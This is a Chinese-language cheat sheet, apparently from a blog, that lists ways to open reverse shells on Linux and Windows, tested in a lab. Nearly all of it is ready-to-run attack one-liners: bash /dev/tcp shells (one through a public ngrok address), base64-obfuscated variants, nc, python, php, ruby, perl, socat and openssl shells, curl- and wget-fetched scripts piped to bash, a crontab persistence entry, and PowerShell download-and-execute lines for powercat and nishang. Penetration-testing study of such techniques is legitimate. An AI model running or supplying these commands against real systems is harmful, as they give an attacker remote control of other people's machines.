反弹shell的常见方式
反弹Shell-Linux
1 2 3 4 5 6 7 8
| 【监听端】centos: 192.168.35.152 【被控端】kali: 192.168.35.128
[root@localhost ~] Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Listening on :::7777 Ncat: Listening on 0.0.0.0:7777
|
bash
1 2 3
| ┌──(root@kali)-[/home/kali] └─ zsh: 没有那个文件或目录: /dev/tcp/192.168.35.152/7777
|
0.tcp.ngrok.io:15122
bash -i >& /dev/tcp/0.tcp.ngrok.io/15122 0>&1
bash base64
1 2
| bash -c '{echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzUuMTUyLzc3NzcgMD4mMSAgIA==}|{base64,-d}|{bash,-i}'
|
bash base64 URLencode
1 2
| bash -c '{echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzUuMTUyLzc3NzcgMD4mMSAgIA%3D%3D}|{base64,-d}|{bash,-i}'
|
nc
1 2 3
| nc -e /bin/bash 192.168.35.152 7777 mknod backpipe p && nc 192.168.35.152 7777 0<backpipe | /bin/bash 1>backpipe rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.35.152 7777 >/tmp/f
|
ncat
1 2
| ncat 192.168.35.152 7777 -e /bin/bash ncat --udp 192.168.35.152 7777 -e /bin/bash
|
curl
1 2 3 4 5 6
| cat bash.html /bin/bash -i >& /dev/tcp/192.168.35.152/7777 0>&1
curl 192.168.35.152/bash.html|bash
|
http
攻击方:
1 2 3 4
| echo "bash -i >& /dev/tcp/192.168.35.152/7777 0>&1" > shell.sh python2环境下:python -m SimpleHTTPServer 80 python3环境下:python -m http.server 80
|
被控端:
1 2 3 4
| wget 192.168.35.152/shell.sh
bash shell.sh
|
crontab
1
| * * * * * root bash -i >& /dev/tcp/192.168.35.152/7777 0>&1
|
whois
1 2
| whois -h 192.168.35.152 -p 7777 `pwd`
|
python
1
| python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.35.152",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
|
php
1
| php -r '$sock=fsockopen("192.168.35.152",7777);exec("/bin/sh -i <&3 >&3 2>&3");'
|
ruby
1 2
| ruby -rsocket -e'f=TCPSocket.open("192.168.35.152",7777).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.35.152","7777");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
socat
1
| socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.35.152:7777
|
perl
1
| perl -e 'use Socket;$i="192.168.35.152";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
php
1
| php -r '$sock=fsockopen("192.168.35.152",7777);exec("/bin/sh -i <&3 >&3 2>&3");'
|
openssl
1 2 3 4 5 6 7 8
| openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes openssl s_server -quiet -key key.pem -cert cert.pem -port 7777
ncat --ssl -vv -l -p 7777
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.35.152:7777 > /tmp/s; rm /tmp/s
|
反弹Shell-Windows
- Windows下的反弹shell仅测试了nc,执行成功。
1 2 3 4 5 6 7 8
| 【监听端】centos: 192.168.35.152 【被控端】windows: 192.168.35.1
[root@localhost ~] Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Listening on :::7777 Ncat: Listening on 0.0.0.0:7777
|
powercat
项目地址:https://github.com/besimorhino/powercat
1
| System.Net.Webclient.DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.35.152 -p 7777 -e cmd
|
nc
1
| nc 192.168.35.152 7777 -e c:\windows\system32\cmd.exe
|
nishang
Nishang是一个基于PowerShell的攻击框架,整合了一些PowerShell攻击脚本和有效载荷,可反弹TCP/ UDP/ HTTP/HTTPS/ ICMP等类型shell。
项目地址:https://github.com/samratashok/nishang
1 2
| IEX (New-Object Net.WebClient).DownloadString('http://192.168.159.134/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.35.152 -port 7777
|
Reverse UDP shell
1 2 3
| IEX (New-Object Net.WebClient).DownloadString('http://192.168.35.152/nishang/Shells/Invoke-PowerShellUdp.ps1');
Invoke-PowerShellUdp -Reverse -IPAddress 192.168.35.152 -port 7777
|
MSF
1 2 3 4 5
| msfvenom -l payloads | grep 'cmd/windows/reverse'
msfvenom -p cmd/windows/reverse_powershell LHOST=192.168.35.152 LPORT=7777
|